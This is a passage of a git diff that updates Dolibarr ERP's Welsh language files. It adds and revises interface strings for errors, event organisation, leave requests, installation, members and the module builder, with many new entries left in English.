first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Mae eich paramedr PHP upload_max_filesize (%s) yn uwch na pharamedr PHP post_max_size (%s). Nid yw hwn yn drefniant cyson. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Rhybudd, gall eich ffeil ffurfweddu ( htdocs/c WarningsOnXLines=Rhybuddion ar %s cofnod(au) ffynhonnell WarningNoDocumentModelActivated=Nid oes unrhyw fodel, ar gyfer cynhyrchu dogfennau, wedi'i actifadu. Bydd model yn cael ei ddewis yn ddiofyn nes i chi wirio gosodiad eich modiwl. WarningLockFileDoesNotExists=Rhybudd, unwaith y bydd y gosodiad wedi'i orffen, rhaid i chi analluogi'r offer gosod / mudo trwy ychwanegu ffeil install.lock i gyfeiriadur %s a09a4b73zf 1. Mae hepgor creu'r ffeil hon yn risg diogelwch difrifol. -WarningUntilDirRemoved=Bydd pob rhybudd diogelwch (sydd i'w weld gan ddefnyddwyr gweinyddol yn unig) yn parhau'n weithredol cyn belled â bod y bregusrwydd yn bresennol (neu fod cyson MAIN_REMOVE_INSTALL_WARNING yn cael ei ychwanegu yn Setup-> Gosodiad Arall). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Rhybudd, cau yn cael ei wneud hyd yn oed os yw swm yn amrywio rhwng ffynhonnell ac elfennau targed. Galluogwch y nodwedd hon yn ofalus. WarningUsingThisBoxSlowDown=Rhybudd, gan ddefnyddio'r blwch hwn arafu o ddifrif yr holl dudalennau sy'n dangos y blwch. WarningClickToDialUserSetupNotComplete=Nid yw'r broses o osod gwybodaeth ClickToDial ar gyfer eich defnyddiwr wedi'i chwblhau (gweler y tab ClickToDial ar eich cerdyn defnyddiwr). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=Ar gael dim ond os ydych yn defnyddio cysyll WarningModuleXDisabledSoYouMayMissEventHere=Nid yw modiwl %s wedi'i alluogi. Felly efallai y byddwch yn colli llawer o ddigwyddiad yma. WarningPaypalPaymentNotCompatibleWithStrict=Mae'r gwerth 'Strict' yn golygu nad yw'r nodweddion talu ar-lein yn gweithio'n gywir. Defnyddiwch 'Lax' yn lle hynny. WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = Gwerth ddim yn ddilys diff --git a/htdocs/langs/cy_GB/eventorganization.lang b/htdocs/langs/cy_GB/eventorganization.lang index b15bb10faaa..74d103f7360 100644 --- a/htdocs/langs/cy_GB/eventorganization.lang +++ b/htdocs/langs/cy_GB/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = Yn y ffurf i greu / ychwanegu mynychwr, # Object # EventOrganizationConfOrBooth= Cynhadledd Neu Booth +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Rheoli trefniadaeth digwyddiad ConferenceOrBooth = Cynhadledd Neu Booth ConferenceOrBoothTab = Cynhadledd Neu Booth AmountPaid = Swm a dalwyd DateOfRegistration = Dyddiad cofrestru ConferenceOrBoothAttendee = Mynychwr y Gynhadledd Neu Booth +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Yma, gallwch chi bleidleisio dros gynhadledd ne EvntOrgRegistrationConfHelpMessage = Yma, gallwch awgrymu cynhadledd newydd i'w hanimeiddio yn ystod y digwyddiad. EvntOrgRegistrationBoothHelpMessage = Yma, gallwch wneud cais i gael bwth yn ystod y digwyddiad. ListOfSuggestedConferences = Rhestr o gynadleddau a awgrymir -ListOfSuggestedBooths = Rhestr o fythau a awgrymir -ListOfConferencesOrBooths=Rhestr o gynadleddau neu fythau o brosiect digwyddiad +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Awgrymu cynhadledd newydd SuggestBooth = Awgrymu bwth ViewAndVote = Gweld a phleidleisio ar gyfer digwyddiadau a awgrymir PublicAttendeeSubscriptionGlobalPage = Dolen gyhoeddus i gofrestru i'r digwyddiad PublicAttendeeSubscriptionPage = Dolen gyhoeddus ar gyfer cofrestru i'r digwyddiad hwn yn unig MissingOrBadSecureKey = Mae'r allwedd ddiogelwch yn annilys neu ar goll -EvntOrgWelcomeMessage = Mae'r ffurflen hon yn eich galluogi i gofrestru fel cyfranogwr newydd i'r digwyddiad : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Mae'r gynhadledd hon yn dechrau ar %s ac yn gorffen ar %s. ConferenceAttendeeFee = Ffi mynychwyr y gynhadledd ar gyfer y digwyddiad : '%s' yn digwydd o %s i %s. BoothLocationFee = Lleoliad Booth ar gyfer y digwyddiad : '%s' yn digwydd o %s i %s @@ -130,7 +133,7 @@ LabelOfconference=Label y gynhadledd ConferenceIsNotConfirmed=Nid yw cofrestriad ar gael, nid yw'r gynhadledd wedi'i chadarnhau eto DateMustBeBeforeThan=rhaid i %s fod cyn %s DateMustBeAfterThan=rhaid i %s fod ar ôl %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Cofrestru OrganizationEventConfRequestWasReceived=Mae eich awgrym ar gyfer cynhadledd wedi dod i law OrganizationEventBoothRequestWasReceived=Mae eich cais am fwth wedi dod i law @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Mae eich taliad ar gyfer eich OrganizationEventBulkMailToAttendees=Mae hwn yn atgoffa am eich cyfranogiad yn y digwyddiad fel mynychwr OrganizationEventBulkMailToSpeakers=Dyma nodyn i'ch atgoffa o'ch cyfranogiad yn y digwyddiad fel siaradwr OrganizationEventLinkToThirdParty=Cyswllt i drydydd parti (cwsmer, cyflenwr neu bartner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Cais am fwth NewSuggestionOfConference=Cais am gynhadledd @@ -154,7 +158,7 @@ VoteOk = Mae eich pleidlais wedi ei derbyn. AlreadyVoted = Rydych chi eisoes wedi pleidleisio dros y digwyddiad hwn. VoteError = Mae gwall wedi digwydd yn ystod y bleidlais, ceisiwch eto. -SubscriptionOk = Mae eich cofrestriad wedi'i ddilysu +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Cadarnhad o'ch tanysgrifiad i ddigwyddiad Attendee = Mynychwr PaymentConferenceAttendee = Taliad mynychwyr y gynhadledd @@ -162,6 +166,7 @@ PaymentBoothLocation = Taliad lleoliad Booth DeleteConferenceOrBoothAttendee=Dileu mynychwr RegistrationAndPaymentWereAlreadyRecorder=Roedd cofrestriad a thaliad eisoes wedi'u cofnodi ar gyfer yr e-bost %s EmailAttendee=E-bost mynychwr +EmailCompany=Company email EmailCompanyForInvoice=E-bost cwmni (ar gyfer anfoneb, os yw'n wahanol i e-bost mynychwr) ErrorSeveralCompaniesWithEmailContactUs=Mae sawl cwmni sydd â'r e-bost hwn wedi'u canfod felly ni allwn ddilysu eich cofrestriad yn awtomatig. Cysylltwch â ni yn %s i gael dilysiad â llaw ErrorSeveralCompaniesWithNameContactUs=Mae sawl cwmni gyda'r enw hwn wedi'u canfod felly ni allwn ddilysu eich cofrestriad yn awtomatig. Cysylltwch â ni yn %s i gael dilysiad â llaw diff --git a/htdocs/langs/cy_GB/holiday.lang b/htdocs/langs/cy_GB/holiday.lang index f3872ea8296..7f203ba35fb 100644 --- a/htdocs/langs/cy_GB/holiday.lang +++ b/htdocs/langs/cy_GB/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Gadael +Holidays=Leaves +Holiday=Leave CPTitreMenu=Gadael MenuReportMonth=Datganiad misol MenuAddCP=Cais am wyliau newydd +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Rhaid i chi alluogi'r modiwl Leave i weld y dudalen hon. AddCP=Gwnewch gais am wyliau DateDebCP=Dyddiad cychwyn @@ -56,6 +58,7 @@ ConfirmDeleteCP=Cadarnhau dileu'r cais hwn am ganiatâd? ErrorCantDeleteCP=Gwall nid oes gennych yr hawl i ddileu'r cais hwn am wyliau. CantCreateCP=Nid oes gennych yr hawl i wneud ceisiadau am wyliau. InvalidValidatorCP=Rhaid i chi ddewis y cymeradwywr ar gyfer eich cais am wyliau. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Rhaid i chi ddewis dyddiad cychwyn. NoDateFin=Rhaid i chi ddewis dyddiad gorffen. ErrorDureeCP=Nid yw eich cais am wyliau yn cynnwys diwrnod gwaith. @@ -79,6 +82,8 @@ MotifCP=Rheswm UserCP=Defnyddiwr ErrorAddEventToUserCP=Digwyddodd gwall wrth ychwanegu'r gwyliau eithriadol. AddEventToUserOkCP=Mae ychwanegu'r gwyliau eithriadol wedi'i gwblhau. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Gweld logiau newid LogCP=Log o'r holl ddiweddariadau a wnaed i "Cydbwysedd Absenoldeb" ActionByCP=Diweddarwyd gan @@ -86,6 +91,13 @@ UserUpdateCP=Diweddarwyd ar gyfer PrevSoldeCP=Balans Blaenorol NewSoldeCP=Balans Newydd alreadyCPexist=Mae cais am wyliau eisoes wedi'i wneud ar y cyfnod hwn. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Cais am ddiwrnod cychwyn yr absenoldeb LastDayOfHoliday=Cais am ddiwrnod absenoldeb sy'n dod i ben BoxTitleLastLeaveRequests=Ceisiadau gwyliau wedi'u haddasu diweddaraf %s @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s fel arfer yn ddiwrnod gwaith DIM BlockHolidayIfNegative=Blociwch os yw'r cydbwysedd yn negyddol LeaveRequestCreationBlockedBecauseBalanceIsNegative=Mae creu'r cais hwn am wyliau wedi'i rwystro oherwydd bod eich balans yn negyddol ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Rhaid i gais am adael %s gael ei ddrafftio, ei ganslo neu ei wrthod i gael ei ddileu +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/cy_GB/install.lang b/htdocs/langs/cy_GB/install.lang index d2ad4f7b112..a70e6be2dd7 100644 --- a/htdocs/langs/cy_GB/install.lang +++ b/htdocs/langs/cy_GB/install.lang @@ -51,7 +51,6 @@ DatabaseName=Enw cronfa ddata DatabasePrefix=Rhagddodiad tabl cronfa ddata DatabasePrefixDescription=Rhagddodiad tabl cronfa ddata. Os yn wag, rhagosodwch i llx_. AdminLogin=Cyfrif defnyddiwr ar gyfer perchennog cronfa ddata Dolibarr. -PasswordAgain=Ail-deipiwch cadarnhad cyfrinair AdminPassword=Cyfrinair ar gyfer perchennog cronfa ddata Dolibarr. CreateDatabase=Creu cronfa ddata CreateUser=Creu cyfrif defnyddiwr neu roi caniatâd cyfrif defnyddiwr ar gronfa ddata Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Eisoes yn bodoli DolibarrAdminLogin=Mewngofnod gweinyddol Dolibarr AdminLoginAlreadyExists=Mae cyfrif gweinyddwr Dolibarr ' %s ' eisoes yn bodoli. Ewch yn ôl os ydych am greu un arall. FailedToCreateAdminLogin=Wedi methu creu cyfrif gweinyddwr Dolibarr. -WarningRemoveInstallDir=Rhybudd, am resymau diogelwch, unwaith y bydd y gosodiad neu'r uwchraddiad wedi'i gwblhau, dylech ychwanegu ffeil o'r enw install.lock i gyfeiriadur dogfennau Dolibarr er mwyn atal defnydd damweiniol/maleisus o'r offer gosod eto. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Ddim ar gael yn y PHP hwn ChoosedMigrateScript=Dewiswch sgript mudo DataMigration=Mudo cronfa ddata (data) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Cuddio opsiynau nad ydynt ar gael ErrorFoundDuringMigration=Adroddwyd am wall(au) yn ystod y broses fudo felly nid yw'r cam nesaf ar gael. I anwybyddu gwallau, gallwch cliciwch yma , ond efallai na fydd y cais neu rai nodweddion yn gweithio'n gywir nes bod y gwallau wedi'u datrys. YouTryInstallDisabledByDirLock=Ceisiodd y rhaglen hunan-uwchraddio, ond mae'r tudalennau gosod/uwchraddio wedi'u hanalluogi er diogelwch (cyfeiriadur wedi'i ailenwi ag ôl-ddodiad .lock).
      YouTryInstallDisabledByFileLock=Ceisiodd y cymhwysiad hunan-uwchraddio, ond mae'r tudalennau gosod/uwchraddio wedi'u hanalluogi er diogelwch (trwy fodolaeth ffeil clo install.lock yn y cyfeiriadur dogfennau dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Cliciwch yma i fynd i'ch cais ClickOnLinkOrRemoveManualy=Os oes uwchraddiad ar y gweill, arhoswch. Os na, cliciwch ar y ddolen ganlynol. Os byddwch bob amser yn gweld yr un dudalen hon, rhaid i chi dynnu / ailenwi'r ffeil install.lock yn y cyfeiriadur dogfennau. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Wedi'i lwytho FunctionTest=Prawf swyddogaeth +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/cy_GB/interventions.lang b/htdocs/langs/cy_GB/interventions.lang index 199e7015404..663e1006acd 100644 --- a/htdocs/langs/cy_GB/interventions.lang +++ b/htdocs/langs/cy_GB/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Yn cuddio oriau a munudau oddi ar y maes dyddiad a InterventionStatistics=Ystadegau ymyriadau NbOfinterventions=Nifer y cardiau ymyrraeth NumberOfInterventionsByMonth=Nifer y cardiau ymyrryd fesul mis (dyddiad dilysu) -AmountOfInteventionNotIncludedByDefault=Nid yw swm yr ymyriad yn cael ei gynnwys yn yr elw yn ddiofyn (yn y rhan fwyaf o achosion, defnyddir taflenni amser i gyfrif yr amser a dreuliwyd). Ychwanegu opsiwn PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT i 1 i'r gosodiad cartref-arall i'w cynnwys. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=ID ymyrraeth InterRef=Cyf ymyrraeth. InterDateCreation=Ymyrraeth creu dyddiad @@ -68,3 +68,5 @@ ConfirmReopenIntervention=A ydych yn siŵr eich bod am agor yr ymyriad %s %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/cy_GB/main.lang b/htdocs/langs/cy_GB/main.lang index d1564b719da..3e611f62ff9 100644 --- a/htdocs/langs/cy_GB/main.lang +++ b/htdocs/langs/cy_GB/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=Nid oes templed ar gael ar gyfer y math hwn o e-bost AvailableVariables=Newidynnau amnewid sydd ar gael NoTranslation=Dim cyfieithiad Translation=Cyfieithiad +Translations=Translations CurrentTimeZone=TimeZone PHP (gweinydd) EmptySearchString=Rhowch feini prawf chwilio nad ydynt yn wag EnterADateCriteria=Rhowch feini prawf dyddiad @@ -199,6 +206,7 @@ Valid=Dilys Approve=Cymeradwyo Disapprove=Anghymeradwyo ReOpen=Ail-agor +OpenVerb=Open Upload=Llwytho i fyny ToLink=Cyswllt Select=Dewiswch @@ -216,8 +224,9 @@ UserGroup=Grŵp defnyddwyr UserGroups=Grwpiau defnyddwyr NoUserGroupDefined=Dim grŵp defnyddwyr wedi'i ddiffinio Password=Cyfrinair -PasswordRetype=Ail-deipiwch eich cyfrinair +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Sylwch fod llawer o nodweddion/modiwlau wedi'u hanalluogi yn yr arddangosiad hwn. +YourUserFile=Your user file Name=Enw NameSlashCompany=Enw / Cwmni Person=Person @@ -481,6 +490,7 @@ ActionsOnContact=Digwyddiadau ar gyfer y cyswllt/cyfeiriad hwn ActionsOnContract=Digwyddiadau ar gyfer y contract hwn ActionsOnMember=Digwyddiadau am yr aelod hwn ActionsOnProduct=Digwyddiadau am y cynnyrch hwn +ActionsOnAsset=Events for this fixed asset NActionsLate=%s hwyr ToDo=Gwneud Completed=Cwblhawyd @@ -888,6 +898,9 @@ MassFilesArea=Ardal ar gyfer ffeiliau a adeiladwyd gan gamau gweithredu torfol ShowTempMassFilesArea=Dangos arwynebedd y ffeiliau a adeiladwyd gan weithredoedd torfol ConfirmMassDeletion=Cadarnhad Swmp Dileu ConfirmMassDeletionQuestion=A ydych yn siŵr eich bod am ddileu'r cofnod(au) %s a ddewiswyd? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Gwrthrychau Cysylltiedig ClassifyBilled=Dosbarthu wedi'i bilio ClassifyUnbilled=Dosbarthu heb ei filio @@ -903,8 +916,8 @@ ExportFilteredList=Allforio rhestr wedi'i hidlo ExportList=Rhestr allforio ExportOptions=Opsiynau Allforio IncludeDocsAlreadyExported=Cynnwys dogfennau sydd eisoes wedi'u hallforio -ExportOfPiecesAlreadyExportedIsEnable=Allforio darnau a allforiwyd eisoes yn galluogi -ExportOfPiecesAlreadyExportedIsDisable=Mae allforio darnau sydd eisoes wedi'u hallforio yn analluog +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Cofnodwyd bod yr holl symudiadau a allforiwyd wedi'u hallforio NotAllExportedMovementsCouldBeRecordedAsExported=Ni ellid cofnodi pob symudiad a allforiwyd fel un wedi'i allforio Miscellaneous=Amrywiol @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Dolen llwytho i lawr preifat PrivateDownloadLinkDesc=Mae angen i chi fod wedi mewngofnodi ac mae angen caniatâd arnoch i weld neu lawrlwytho'r ffeil Download=Lawrlwythwch DownloadDocument=Lawrlwytho dogfen +DownloadSignedDocument=Download signed document ActualizeCurrency=Diweddaru cyfradd arian cyfred Fiscalyear=Blwyddyn ariannol ModuleBuilder=Adeiladwr Modiwl a Chymhwysiad @@ -1046,6 +1060,7 @@ SearchIntoContracts=Contractau SearchIntoCustomerShipments=Cludo cwsmeriaid SearchIntoExpenseReports=Adroddiadau treuliau SearchIntoLeaves=Gadael +SearchIntoKM=Knowledge base SearchIntoTickets=Tocynnau SearchIntoCustomerPayments=Taliadau cwsmeriaid SearchIntoVendorPayments=Taliadau gwerthwr @@ -1117,6 +1132,7 @@ DeleteFileText=Ydych chi wir eisiau dileu'r ffeil hon? ShowOtherLanguages=Dangos ieithoedd eraill SwitchInEditModeToAddTranslation=Newidiwch y modd golygu i ychwanegu cyfieithiadau ar gyfer yr iaith hon NotUsedForThisCustomer=Heb ei ddefnyddio ar gyfer y cwsmer hwn +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Rhaid i'r swm fod yn bositif ByStatus=Yn ôl statws InformationMessage=Gwybodaeth @@ -1137,15 +1153,29 @@ EventReminder=Nodyn Atgoffa am Ddigwyddiad UpdateForAllLines=Diweddariad ar gyfer pob llinell OnHold=Ar stop Civility=Gwareiddiad -AffectTag=Effeithio Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Creu defnyddiwr allanol -ConfirmAffectTag=Effaith Swmp Tag -ConfirmAffectTagQuestion=Ydych chi'n siŵr eich bod am effeithio ar dagiau i'r cofnod(au) a ddewiswyd %s? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Ni chanfuwyd math o dag ar gyfer y math o gofnodion +Rate=Cyfradd +SupervisorNotFound=Supervisor not found CopiedToClipboard=Wedi'i gopïo i'r clipfwrdd InformationOnLinkToContract=Dim ond cyfanswm holl linellau'r contract yw'r swm hwn. Nid oes unrhyw syniad o amser yn cael ei ystyried. ConfirmCancel=Ydych chi'n siŵr eich bod am ganslo EmailMsgID=E-bost MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Wedi'i osod i alluogi SetToDisabled=Wedi'i osod i analluogi ConfirmMassEnabling=cadarnhad galluogi màs @@ -1174,9 +1204,21 @@ Terminated=Terfynwyd AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/cy_GB/members.lang b/htdocs/langs/cy_GB/members.lang index 45526b3900a..ccb15efeb44 100644 --- a/htdocs/langs/cy_GB/members.lang +++ b/htdocs/langs/cy_GB/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Aelod (enw: %s , login: % ErrorUserPermissionAllowsToLinksToItselfOnly=Am resymau diogelwch, rhaid i chi gael caniatâd i olygu pob defnyddiwr er mwyn gallu cysylltu aelod â defnyddiwr nad yw'n eiddo i chi. SetLinkToUser=Dolen i ddefnyddiwr o Ddolibarr SetLinkToThirdParty=Cysylltiad â thrydydd parti Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Rhestr o aelodau MembersListToValid=Rhestr o aelodau drafft (i'w dilysu) @@ -34,7 +35,8 @@ DateSubscription=Dyddiad aelodaeth DateEndSubscription=Dyddiad gorffen aelodaeth EndSubscription=Diwedd aelodaeth SubscriptionId=ID y cyfraniad -WithoutSubscription=Heb gyfraniad +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Aelod newydd @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=Ni ellir dileu'r math o aelod NewSubscription=Cyfraniad newydd NewSubscriptionDesc=Mae'r ffurflen hon yn caniatáu ichi gofnodi'ch tanysgrifiad fel aelod newydd o'r sefydliad. Os ydych am adnewyddu eich tanysgrifiad (os ydych eisoes yn aelod), cysylltwch â'r bwrdd sylfaen yn lle hynny trwy e-bost %s. Subscription=Cyfraniad -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=Cyfraniadau SubscriptionLate=Hwyr SubscriptionNotReceived=Ni dderbyniwyd cyfraniad erioed @@ -204,10 +206,12 @@ SubscriptionsStatistics=Ystadegau cyfraniadau NbOfSubscriptions=Nifer y cyfraniadau AmountOfSubscriptions=Swm a gasglwyd o gyfraniadau TurnoverOrBudget=Trosiant (ar gyfer cwmni) neu Gyllideb (ar gyfer sylfaen) -DefaultAmount=Swm y cyfraniad rhagosodedig -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=Neidiwch ar dudalen talu ar-lein integredig +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Wrth natur MembersStatisticsByProperties=Ystadegau aelodau yn ôl natur VATToUseForSubscriptions=Cyfradd TAW i'w defnyddio ar gyfer cyfraniadau @@ -228,3 +232,4 @@ CreateDolibarrLoginDesc=Mae creu mewngofnodi defnyddiwr ar gyfer aelodau yn cani CreateDolibarrThirdPartyDesc=Trydydd parti yw’r endid cyfreithiol a ddefnyddir ar yr anfoneb os penderfynwch gynhyrchu anfoneb ar gyfer pob cyfraniad. Byddwch yn gallu ei greu yn ddiweddarach yn ystod y broses o gofnodi'r cyfraniad. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/cy_GB/modulebuilder.lang b/htdocs/langs/cy_GB/modulebuilder.lang index 93e8b1657f7..394bbddb36b 100644 --- a/htdocs/langs/cy_GB/modulebuilder.lang +++ b/htdocs/langs/cy_GB/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=Rhaid i'r offeryn hwn gael ei ddefnyddio gan ddefnyddwyr neu ddatblygwyr profiadol yn unig. Mae'n darparu cyfleustodau i adeiladu neu olygu eich modiwl eich hun. Mae dogfennau ar gyfer datblygiad llaw amgen yma . EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Llwybr lle mae modiwlau'n cael eu cynhyrchu/golygu (cyfeirlyfr cyntaf ar gyfer modiwlau allanol wedi'i ddiffinio i %s): %s ModuleBuilderDesc3=Modiwlau a gynhyrchwyd/golygu a ddarganfuwyd: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Mae modiwl yn cael ei ganfod fel un 'golygadwy' pan fo'r ffei NewModule=Modiwl newydd NewObjectInModulebuilder=Gwrthrych newydd NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Allwedd modiwl ObjectKey=Allwedd gwrthrych DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=Llwybr i sip y modiwl/pecyn cais PathToModuleDocumentation=Llwybr i 